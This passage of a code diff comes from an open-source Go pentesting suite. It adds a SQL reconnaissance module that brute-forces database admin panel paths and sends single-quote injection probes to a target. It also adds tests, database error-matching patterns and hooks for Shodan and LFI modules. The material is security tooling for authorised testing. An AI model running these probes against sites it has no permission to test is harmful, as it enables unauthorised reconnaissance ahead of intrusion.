t.Errorf("expected IP '93.184.216.34', got '%s'", result.IP)
}
if len(result.Hostnames) != 1 || result.Hostnames[0] != "example.com" {
t.Errorf("expected hostnames ['example.com'], got %v", result.Hostnames)
}
if result.Organization != "EDGECAST" {
t.Errorf("expected org 'EDGECAST', got '%s'", result.Organization)
}
if len(result.Ports) != 2 {
t.Errorf("expected 2 ports, got %d", len(result.Ports))
}
if len(result.Services) != 1 {
t.Errorf("expected 1 service, got %d", len(result.Services))
}
}
func TestShodanService_Fields(t *testing.T) {
service := ShodanService{
Port: 443,
Protocol: "tcp",
Product: "OpenSSL",
Version: "1.1.1",
Banner: "TLS handshake",
Module: "https",
}
if service.Port != 443 {
t.Errorf("expected port 443, got %d", service.Port)
}
if service.Protocol != "tcp" {
t.Errorf("expected protocol 'tcp', got '%s'", service.Protocol)
}
if service.Product != "OpenSSL" {
t.Errorf("expected product 'OpenSSL', got '%s'", service.Product)
}
}
func TestShodan_NoAPIKey(t *testing.T) {
// ensure no API key is set
originalKey := ""
// Note: we can't easily test this without setting/unsetting env vars
// which could affect other tests. This is just a placeholder.
_ = originalKey
}
func TestShodanIntegration(t *testing.T) {
// This would be an integration test with the real Shodan API
// Skipping in unit tests
t.Skip("Integration test - requires valid SHODAN_API_KEY")
_, err := Shodan("https://example.com", 10*time.Second, "")
if err != nil {
t.Logf("Shodan lookup failed (expected without API key): %v", err)
}
}
+323
View File
@@ -0,0 +1,323 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"io"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
// SQLResult represents the results of SQL reconnaissance
type SQLResult struct {
AdminPanels []SQLAdminPanel `json:"admin_panels,omitempty"`
DatabaseErrors []SQLDatabaseError `json:"database_errors,omitempty"`
ExposedPorts []int `json:"exposed_ports,omitempty"`
}
// SQLAdminPanel represents a found database admin panel
type SQLAdminPanel struct {
URL string `json:"url"`
Type string `json:"type"`
Status int `json:"status"`
}
// SQLDatabaseError represents a detected database error
type SQLDatabaseError struct {
URL string `json:"url"`
DatabaseType string `json:"database_type"`
ErrorPattern string `json:"error_pattern"`
}
// common database admin panel paths
var sqlAdminPaths = []struct {
path string
panelType string
}{
{"/phpmyadmin/", "phpMyAdmin"},
{"/phpMyAdmin/", "phpMyAdmin"},
{"/pma/", "phpMyAdmin"},
{"/PMA/", "phpMyAdmin"},
{"/mysql/", "phpMyAdmin"},
{"/myadmin/", "phpMyAdmin"},
{"/MyAdmin/", "phpMyAdmin"},
{"/adminer/", "Adminer"},
{"/adminer.php", "Adminer"},
{"/pgadmin/", "pgAdmin"},
{"/phppgadmin/", "phpPgAdmin"},
{"/sql/", "SQL Interface"},
{"/db/", "Database Interface"},
{"/database/", "Database Interface"},
{"/dbadmin/", "Database Admin"},
{"/mysql-admin/", "MySQL Admin"},
{"/mysqladmin/", "MySQL Admin"},
{"/sqlmanager/", "SQL Manager"},
{"/websql/", "WebSQL"},
{"/sqlweb/", "SQLWeb"},
{"/rockmongo/", "RockMongo"},
{"/mongodb/", "MongoDB Interface"},
{"/mongo/", "MongoDB Interface"},
{"/redis/", "Redis Interface"},
{"/redis-commander/", "Redis Commander"},
{"/phpredisadmin/", "phpRedisAdmin"},
}
// database error patterns to detect database type
var databaseErrorPatterns = []struct {
pattern *regexp.Regexp
databaseType string
}{
{regexp.MustCompile(`(?i)mysql.*error`), "MySQL"},
{regexp.MustCompile(`(?i)mysql.*syntax`), "MySQL"},
{regexp.MustCompile(`(?i)you have an error in your sql syntax`), "MySQL"},
{regexp.MustCompile(`(?i)warning.*mysql`), "MySQL"},
{regexp.MustCompile(`(?i)mysql_fetch`), "MySQL"},
{regexp.MustCompile(`(?i)mysql_num_rows`), "MySQL"},
{regexp.MustCompile(`(?i)mysqli`), "MySQL"},
{regexp.MustCompile(`(?i)postgresql.*error`), "PostgreSQL"},
{regexp.MustCompile(`(?i)pg_query`), "PostgreSQL"},
{regexp.MustCompile(`(?i)pg_exec`), "PostgreSQL"},
{regexp.MustCompile(`(?i)psql.*error`), "PostgreSQL"},
{regexp.MustCompile(`(?i)unterminated quoted string`), "PostgreSQL"},
{regexp.MustCompile(`(?i)microsoft.*odbc.*sql server`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)mssql.*error`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)sql server.*error`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)unclosed quotation mark`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)sqlsrv`), "Microsoft SQL Server"},
{regexp.MustCompile(`(?i)ora-\d{5}`), "Oracle"},
{regexp.MustCompile(`(?i)oracle.*error`), "Oracle"},
{regexp.MustCompile(`(?i)oci_`), "Oracle"},
{regexp.MustCompile(`(?i)sqlite.*error`), "SQLite"},
{regexp.MustCompile(`(?i)sqlite3`), "SQLite"},
{regexp.MustCompile(`(?i)sqlite_`), "SQLite"},
{regexp.MustCompile(`(?i)mongodb.*error`), "MongoDB"},
{regexp.MustCompile(`(?i)document.*bson`), "MongoDB"},
}
// SQL performs SQL reconnaissance on the target URL
func SQL(targetURL string, timeout time.Duration, threads int, logdir string) (*SQLResult, error) {
fmt.Println(styles.Separator.Render("🗃️ Starting " + styles.Status.Render("SQL reconnaissance") + "..."))
sanitizedURL := strings.Split(targetURL, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "SQL reconnaissance"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
sqllog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "SQL 🗃️",
}).With("url", targetURL)
sqllog.Infof("Starting SQL reconnaissance...")
result := &SQLResult{
AdminPanels: []SQLAdminPanel{},
DatabaseErrors: []SQLDatabaseError{},
}
var mu sync.Mutex
var wg sync.WaitGroup
client := &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return http.ErrUseLastResponse
}
return nil
},
}
// check for admin panels
wg.Add(threads)
adminPathsChan := make(chan int, len(sqlAdminPaths))
for i := range sqlAdminPaths {
adminPathsChan <- i
}
close(adminPathsChan)
for t := 0; t < threads; t++ {
go func() {
defer wg.Done()
for idx := range adminPathsChan {
adminPath := sqlAdminPaths[idx]
checkURL := strings.TrimSuffix(targetURL, "/") + adminPath.path
resp, err := client.Get(checkURL)
if err != nil {
log.Debugf("Error checking %s: %v", checkURL, err)
continue
}
defer resp.Body.Close()
// check for successful response (not 404)
if resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized {
// read body to check for common admin panel indicators
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100)) // limit to 100KB
if err != nil {
continue
}
bodyStr := string(body)
// check if it's actually an admin panel (not just a generic page)
if isAdminPanel(bodyStr, adminPath.panelType) {
mu.Lock()
panel := SQLAdminPanel{
URL: checkURL,
Type: adminPath.panelType,
Status: resp.StatusCode,
}
result.AdminPanels = append(result.AdminPanels, panel)
mu.Unlock()
sqllog.Warnf("Found %s at [%s] (status: %d)",
styles.SeverityHigh.Render(adminPath.panelType),
styles.Highlight.Render(checkURL),
resp.StatusCode)
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Found %s at [%s] (status: %d)\n", adminPath.panelType, checkURL, resp.StatusCode))
}
}
}
}
}()
}
wg.Wait()
// check main URL for database errors
checkDatabaseErrors(client, targetURL, sanitizedURL, result, sqllog, logdir, &mu)
// check common endpoints that might expose database errors
errorCheckPaths := []string{
"/?id=1'",
"/?id=1\"",
"/?page=1'",
"/?q=test'",
"/search?q=test'",
"/login",
"/api/",
}
for _, path := range errorCheckPaths {
checkURL := strings.TrimSuffix(targetURL, "/") + path
checkDatabaseErrors(client, checkURL, sanitizedURL, result, sqllog, logdir, &mu)
}
// summary
if len(result.AdminPanels) > 0 {
sqllog.Warnf("Found %d database admin panel(s)", len(result.AdminPanels))
}
if len(result.DatabaseErrors) > 0 {
sqllog.Warnf("Found %d database error disclosure(s)", len(result.DatabaseErrors))
}
if len(result.AdminPanels) == 0 && len(result.DatabaseErrors) == 0 {
sqllog.Infof("No SQL exposures found")
return nil, nil
}
return result, nil
}
func isAdminPanel(body string, panelType string) bool {
bodyLower := strings.ToLower(body)
switch panelType {
case "phpMyAdmin":
return strings.Contains(bodyLower, "phpmyadmin") ||
strings.Contains(bodyLower, "pma_") ||
strings.Contains(body, "phpMyAdmin")
case "Adminer":
return strings.Contains(bodyLower, "adminer") ||
strings.Contains(body, "Adminer")
case "pgAdmin":
return strings.Contains(bodyLower, "pgadmin") ||
strings.Contains(body, "pgAdmin")
case "phpPgAdmin":
return strings.Contains(bodyLower, "phppgadmin")
case "RockMongo":
return strings.Contains(bodyLower, "rockmongo")
case "Redis Commander":
return strings.Contains(bodyLower, "redis commander") ||
strings.Contains(bodyLower, "redis-commander")
case "phpRedisAdmin":
return strings.Contains(bodyLower, "phpredisadmin")
default:
// for generic database interfaces, check for common keywords
return strings.Contains(bodyLower, "database") ||
strings.Contains(bodyLower, "sql") ||
strings.Contains(bodyLower, "query") ||
strings.Contains(bodyLower, "mysql") ||
strings.Contains(bodyLower, "postgresql") ||
strings.Contains(bodyLower, "mongodb")
}
}
func checkDatabaseErrors(client *http.Client, checkURL, sanitizedURL string, result *SQLResult, sqllog *log.Logger, logdir string, mu *sync.Mutex) {
resp, err := client.Get(checkURL)
if err != nil {
return
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
if err != nil {
return
}
bodyStr := string(body)
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(bodyStr) {
mu.Lock()
// check if we already have this error for this URL
found := false
for _, existing := range result.DatabaseErrors {
if existing.URL == checkURL && existing.DatabaseType == pattern.databaseType {
found = true
break
}
}
if !found {
dbError := SQLDatabaseError{
URL: checkURL,
DatabaseType: pattern.databaseType,
ErrorPattern: pattern.pattern.String(),
}
result.DatabaseErrors = append(result.DatabaseErrors, dbError)
sqllog.Warnf("Database error disclosure: %s at [%s]",
styles.SeverityHigh.Render(pattern.databaseType),
styles.Highlight.Render(checkURL))
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Database error disclosure: %s at [%s]\n", pattern.databaseType, checkURL))
}
}
mu.Unlock()
break // only report one database type per URL
}
}
}
+280
View File
@@ -0,0 +1,280 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"net/http"
"net/http/httptest"
"testing"
)
func TestIsAdminPanel_phpMyAdmin(t *testing.T) {
tests := []struct {
name string
body string
expected bool
}{
{"contains phpMyAdmin", "<html><title>phpMyAdmin</title></html>", true},
{"contains pma_", "<script>var pma_token = '123';</script>", true},
{"empty body", "", false},
{"unrelated content", "<html><title>Hello World</title></html>", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isAdminPanel(tt.body, "phpMyAdmin")
if result != tt.expected {
t.Errorf("isAdminPanel(%q, 'phpMyAdmin') = %v, want %v", tt.body, result, tt.expected)
}
})
}
}
func TestIsAdminPanel_Adminer(t *testing.T) {
tests := []struct {
name string
body string
expected bool
}{
{"contains Adminer", "<html><title>Adminer</title></html>", true},
{"lowercase adminer", "<div>adminer version 4.8</div>", true},
{"empty body", "", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isAdminPanel(tt.body, "Adminer")
if result != tt.expected {
t.Errorf("isAdminPanel(%q, 'Adminer') = %v, want %v", tt.body, result, tt.expected)
}
})
}
}
func TestIsAdminPanel_GenericDatabase(t *testing.T) {
tests := []struct {
name string
body string
expected bool
}{
{"contains database", "<html><title>Database Manager</title></html>", true},
{"contains sql", "<div>SQL Query Interface</div>", true},
{"contains mysql", "<script>mysql_query()</script>", true},
{"contains postgresql", "<div>PostgreSQL Admin</div>", true},
{"empty body", "", false},
{"unrelated content", "<html><title>Blog</title></html>", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := isAdminPanel(tt.body, "Database Interface")
if result != tt.expected {
t.Errorf("isAdminPanel(%q, 'Database Interface') = %v, want %v", tt.body, result, tt.expected)
}
})
}
}
func TestSQLResult_Fields(t *testing.T) {
result := SQLResult{
AdminPanels: []SQLAdminPanel{
{
URL: "http://example.com/phpmyadmin/",
Type: "phpMyAdmin",
Status: 200,
},
},
DatabaseErrors: []SQLDatabaseError{
{
URL: "http://example.com/?id=1'",
DatabaseType: "MySQL",
ErrorPattern: "mysql.*error",
},
},
}
if len(result.AdminPanels) != 1 {
t.Errorf("expected 1 admin panel, got %d", len(result.AdminPanels))
}
if result.AdminPanels[0].Type != "phpMyAdmin" {
t.Errorf("expected type 'phpMyAdmin', got '%s'", result.AdminPanels[0].Type)
}
if len(result.DatabaseErrors) != 1 {
t.Errorf("expected 1 database error, got %d", len(result.DatabaseErrors))
}
if result.DatabaseErrors[0].DatabaseType != "MySQL" {
t.Errorf("expected database type 'MySQL', got '%s'", result.DatabaseErrors[0].DatabaseType)
}
}
func TestDatabaseErrorPatterns_MySQL(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"mysql error", "MySQL Error: Something went wrong", true},
{"mysql syntax", "You have an error in your SQL syntax", true},
{"mysql fetch", "Warning: mysql_fetch_array()", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestDatabaseErrorPatterns_PostgreSQL(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"postgresql error", "PostgreSQL Error: connection failed", true},
{"pg_query", "Warning: pg_query(): Query failed", true},
{"unterminated string", "ERROR: unterminated quoted string", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestDatabaseErrorPatterns_SQLServer(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"mssql error", "MSSQL Error: invalid query", true},
{"sql server error", "Microsoft SQL Server Error", true},
{"unclosed quote", "Unclosed quotation mark after the character string", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestDatabaseErrorPatterns_Oracle(t *testing.T) {
testCases := []struct {
name string
body string
expected bool
}{
{"ora error code", "ORA-00942: table or view does not exist", true},
{"oracle error", "Oracle Error: invalid identifier", true},
{"no error", "Welcome to our website", false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
found := false
for _, pattern := range databaseErrorPatterns {
if pattern.pattern.MatchString(tc.body) {
found = true
break
}
}
if found != tc.expected {
t.Errorf("pattern match for %q = %v, want %v", tc.body, found, tc.expected)
}
})
}
}
func TestSQLAdminPanelDetection(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/phpmyadmin/":
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><title>phpMyAdmin</title></html>"))
case "/adminer/":
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><title>Adminer</title></html>"))
default:
w.WriteHeader(http.StatusNotFound)
}
}))
defer server.Close()
// this is a basic test to verify the server mock works
resp, err := http.Get(server.URL + "/phpmyadmin/")
if err != nil {
t.Fatalf("failed to get phpmyadmin: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200 for /phpmyadmin/, got %d", resp.StatusCode)
}
}
func TestSQLDatabaseErrorDetection(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Query().Get("id") == "1'" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("MySQL Error: You have an error in your SQL syntax"))
} else {
w.WriteHeader(http.StatusOK)
w.Write([]byte("Welcome to our website"))
}
}))
defer server.Close()
// verify server returns mysql error for injection attempt
resp, err := http.Get(server.URL + "/?id=1'")
if err != nil {
t.Fatalf("failed to make request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
+51 -9
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
// Package sif provides the main functionality for the SIF (Security Information Finder) tool.
// It handles the initialization, configuration, and execution of various security scanning modules.
@@ -16,6 +28,7 @@ import (
"github.com/dropalldatabases/sif/pkg/config"
"github.com/dropalldatabases/sif/pkg/logger"
"github.com/dropalldatabases/sif/pkg/scan"
"github.com/dropalldatabases/sif/pkg/scan/frameworks"
jsscan "github.com/dropalldatabases/sif/pkg/scan/js"
)
@@ -45,8 +58,8 @@ func New(settings *config.Settings) (*App, error) {
app := &App{settings: settings}
if !settings.ApiMode {
fmt.Println(styles.Box.Render(" _____________\n__________(_)__ __/\n__ ___/_ /__ /_ \n_(__ )_ / _ __/ \n/____/ /_/ /_/ \n"))
fmt.Println(styles.Subheading.Render("\nhttps://sif.sh\nman's best friend\n\ncopyright (c) 2023-2024 lunchcat and contributors.\n\n"))
fmt.Println(styles.Box.Render(" █▀ █ █▀▀\n ▄█ █ █▀ "))
fmt.Println(styles.Subheading.Render("\nblazing-fast pentesting suite\nman's best friend\n\nbsd 3-clause · (c) 2022-2025 vmfunc, xyzeva & contributors\n"))
}
if len(settings.URLs) > 0 {
@@ -113,6 +126,16 @@ func (app *App) Run() error {
scansRun = append(scansRun, "Basic Scan")
}
if app.settings.Framework {
result, err := frameworks.DetectFramework(url, app.settings.Timeout, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running framework detection: %s", err)
} else if result != nil {
moduleResults = append(moduleResults, ModuleResult{"framework", result})
scansRun = append(scansRun, "Framework Detection")
}
}
if app.settings.Dirlist != "none" {
result, err := scan.Dirlist(app.settings.Dirlist, url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
if err != nil {
@@ -235,14 +258,33 @@ func (app *App) Run() error {
}
}
if app.settings.SubdomainTakeover {
// Pass the dnsResults to the SubdomainTakeover function
result, err := scan.SubdomainTakeover(url, dnsResults, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
if app.settings.Shodan {
result, err := scan.Shodan(url, app.settings.Timeout, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running Subdomain Takeover Vulnerability Check: %s", err)
} else {
moduleResults = append(moduleResults, ModuleResult{"subdomain_takeover", result})
scansRun = append(scansRun, "Subdomain Takeover")
log.Errorf("Error while running Shodan lookup: %s", err)
} else if result != nil {
moduleResults = append(moduleResults, ModuleResult{"shodan", result})
scansRun = append(scansRun, "Shodan")
}
}
if app.settings.SQL {
result, err := scan.SQL(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running SQL reconnaissance: %s", err)
} else if result != nil {
moduleResults = append(moduleResults, ModuleResult{"sql", result})
scansRun = append(scansRun, "SQL Recon")
}
}
if app.settings.LFI {
result, err := scan.LFI(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
if err != nil {
log.Errorf("Error while running LFI reconnaissance: %s", err)
} else if result != nil {
moduleResults = append(moduleResults, ModuleResult{"lfi", result})
scansRun = append(scansRun, "LFI Recon")
}
}